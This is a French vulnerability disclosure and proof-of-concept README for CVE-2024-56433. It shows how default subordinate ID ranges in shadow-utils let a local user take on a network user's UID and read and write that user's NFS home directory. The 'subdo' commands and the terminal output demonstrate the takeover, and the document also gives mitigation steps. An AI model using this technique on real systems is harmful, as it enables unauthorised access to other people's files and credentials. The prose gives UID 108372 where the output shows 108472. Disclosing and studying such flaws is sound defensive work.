
Preuve de concept pour CVE-2024-56433, démontrant une élévation de privilèges via une collision d'ID subordonnés dans shadow-utils pour accéder aux données d'autres utilisateurs.
shadow-utils - Attribution par défaut non sécurisée des identifiants subordonnés pour les utilisateurs locaux
L'attribution par défaut des identifiants subordonnés crée un risque de collision avec les identifiants d'utilisateurs existants, permettant potentiellement de modifier arbitrairement les UID/GID et d'obtenir un accès non autorisé aux données et aux ressources réseau.
Paquet de base : shadow-utils 4.4 - 4.17.0
Confirmé sur : Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. Toutes les versions récentes des distributions utilisant shadow-utils 4.4 et supérieur.
Shadow-utils a commencé à être distribué avec une configuration par défaut déléguant les identifiants subordonnés aux utilisateurs locaux.
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN 100000
SUB_UID_MAX 600100000
SUB_UID_COUNT 65536
SUB_GID_MIN 100000
SUB_GID_MAX 600100000
SUB_GID_COUNT 65536
#GRANT_AUX_GROUP_SUBIDS yes
$
Lorsque de nouveaux utilisateurs locaux sont ajoutés au système via l'un des outils shadow-utils (adduser, useradd et lors de l'installation du système), chaque utilisateur reçoit un bloc unique de 65 536 UID et GID, commençant à l'UID/GID 100000. Par exemple, le système suivant comporte deux utilisateurs locaux ajoutés :
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$
La configuration des identifiants subordonnés délègue le droit d'utilisation des plages spécifiées à l'utilisateur dans un espace de noms utilisateur et est le plus souvent utilisée pour la conteneurisation sans root. Cependant, les utilitaires de conteneurisation ne sont pas nécessaires pour entrer dans un espace de noms et cela peut être fait par plusieurs moyens, notamment en utilisant les outils par défaut de shadow-utils 'newuidmap' et 'newgidmap.' Cela permet à l'utilisateur de changer arbitrairement vers l'identifiant d'utilisateur POSIX de n'importe quel identifiant dans la plage qui lui est déléguée.
Dans l'exemple suivant, l'utilisateur Jon - UID/GID 1000 - s'est vu déléguer une plage d'UID/GID de 65 536 identifiants commençant à 100000. Le réseau dispose d'autres identifiants configurés via LDAP pour la gestion centralisée des utilisateurs et la connexion, avec les répertoires personnels des utilisateurs réseau sur NFS.
L'UID/GID 108372 appartient à l'utilisateur réseau msteph.
En exploitant l'allocation par défaut des UID/GID subordonnés créée lors d'une installation, l'utilisateur local peut basculer vers l'identifiant de l'utilisateur réseau puis accéder au répertoire personnel NFS, en lisant et écrivant des fichiers en tant que cet utilisateur.
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$
Bien que NFS ait été utilisé comme exemple, cela va au-delà du simple accès NFS. Les infrastructures où les identifiants Kerberos peuvent être stockés sur le système local deviennent à risque, car les identifiants pourraient être récupérés depuis le système local et l'accès à d'autres services kerberisés devient possible.
Les entrées SUB_ dans /etc/login.defs doivent être supprimées. Toutes les entrées dans /etc/subuid et /etc/subgid qui ne sont pas attendues doivent également être supprimées.
Le POC pour changer l'UID/GID vers l'identifiant subordonné alloué souhaité est joint sous forme de subdo.c et subdo.py
Le POC mappe l'identifiant interne et externe au même identifiant puis exécute setuid() et setgid() vers cet identifiant dans l'espace de noms, ce qui signifie que toutes les commandes exécutées dans le shell de l'espace de noms s'exécutent désormais avec cet uid/gid sur l'hôte.
Permet l'exécution de n'importe quelle commande et de n'importe quels arguments avec l'UID/GID subordonné souhaité.
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example:
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Exécute /bin/bash avec l'UID/GID subordonné souhaité.
Usage: ./subdo.py -u $uid -g $gid
Example:
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$